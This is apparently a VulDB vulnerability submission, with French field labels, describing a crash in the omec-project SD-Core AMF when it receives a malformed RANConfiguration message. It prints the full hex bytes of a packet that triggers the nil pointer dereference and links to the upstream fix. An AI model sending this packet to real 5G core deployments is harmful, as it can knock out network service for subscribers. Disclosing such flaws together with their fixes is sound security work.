| Titre | Linux Foundation Projects SD-Core 2.1.1 Memory Corruption |
|---|
| Description | If a malformed RANConfiguration is sent to AMF it crashes. Nil Pointer Deference.
Example Packet:
00 23 80 80 CD 80 00 00 00 00 80 80 92 80 C0 FA A5 FD 27 E3 17 E7 F3 B9 F9 D2 57 FE 92 53 82 A7 67 5F F3 BD FA 89 FD 4F 27 83 7A 4E 4B FA A3 51 62 CC E4 69 F3 B3 9B 3E 93 3F 5B 98 F5 3B FA 66 4B A9 D7 73 A7 FE 6F 9F 3F 99 53 3D 5B E6 19 39 EF E6 07 11 3E B1 90 EE 7D 38 A2 72 3C 65 FA A6 FC F1 67 E8 4C 0B D7 D1 03 1F 5F EB 15 F5 7F 89 9F 42 C9 5F DC 4E FD FA D5 ED 4F C2 9F 25 F4 53 F9 84 44 8F A9 FF 4F D3 66 7A ED 4B E8 1B F5 AD 99 7F 5E 8B EF D2 6B E6 63 F3 94 F9 90 4E A6 FF FF 80 09 00 4C 52 BE 08 EA 24 23 C0 00 66 00 10 01 80 BB 5C DF 01 31 4A F8 FF FF B0 EB 23 01 02 00 A6 00 04 00 80 00 00 00 15 20 01 60 00 CC 20 01 90
The issue has been acknowledged and addressed by the developers.
Fix:
https://github.com/omec-project/amf/pull/666/changes
Advisory:
This bug has been fixed in the latest release
https://hub.docker.com/layers/omecproject/5gc-amf/rel-2.2.1/images/sha256-8a4c33cdda866094f1989bdeff6d8642fce8de8435f89defd66831c97715f5aa |
|---|
| La source | ⚠️ https://github.com/omec-project/amf/issues/673 |
|---|
| Utilisateur | shovon0203 (UID 96191) |
|---|
| Soumission | 23/04/2026 20:58 (il y a 1 mois) |
|---|
| Modérer | 17/05/2026 11:56 (24 days later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 364405 [omec-project amf jusqu’à 2.1.3-dev ngap/handler.go RANConfiguration déni de service] |
|---|
| Points | 20 |
|---|